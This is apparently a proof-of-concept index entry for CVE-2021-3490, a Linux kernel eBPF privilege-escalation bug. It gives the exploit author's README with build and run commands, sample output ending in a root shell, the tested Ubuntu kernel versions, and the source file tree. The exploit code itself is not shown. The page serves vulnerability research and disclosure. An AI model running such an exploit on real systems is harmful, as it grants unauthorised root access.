CVE-2021-3490 PoC — Linux kernel 缓冲区错误漏洞

Source

https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490

Associated Vulnerability

Title:Linux kernel 缓冲区错误漏洞 (CVE-2021-3490)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在缓冲区错误漏洞。该漏洞源于发现按位操作（AND，OR和XOR）的eBPF ALU32边界跟踪不会更新32位边界。

Readme

# Linux_LPE_eBPF_CVE-2021-3490

LPE exploit for CVE-2021-3490. Tested on Ubuntu 20.04.02 and 20.10 (Groovy Gorilla) kernels 5.8.0-25.26 through 5.8.0-52.58.
and Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17.
The vulnerability was discovered by Manfred Paul [@_manfp](https://twitter.com/_manfp) and fixed in this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e).
    
author: [@chompie1337](https://twitter.com/chompie1337)

For educational/research purposes only. Use at your own risk.

## Usage:

To build for Ubuntu 20.04.02 and Ubuntu 20.10 (Groovy Gorilla):
```
make groovy
```
To build for Ubuntu 21.04 (Hirsute Hippo):
```
make hirsute
```
To run:
```
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
```

Note: You **must** cleanly exit the root shell by typing `exit` to perform cleanup and avoid a kernel panic.

Checkout the writeup [Kernel Pwning with eBPF: a Love Story](https://chompie.rip/Blog+Posts/Kernel+Pwning+with+eBPF+-+a+Love+Story).

File Snapshot


 [4.0K]  /data/pocs/9ab0d7f0b8e1f69483df791ff6e983dc7000a4a8
├── [4.0K]  bin
├── [2.2K]  bpf.c
├── [ 16K]  exploit.c
├── [4.0K]  include
│   ├── [5.8K]  bpf_defs.h
│   ├── [5.1K]  exploit_configs.h
│   ├── [4.9K]  kernel_defs.h
│   └── [ 284]  kmem_search.h
├── [6.3K]  kmem_search.c
├── [ 209]  Makefile
└── [1.4K]  README.md

2 directories, 9 files

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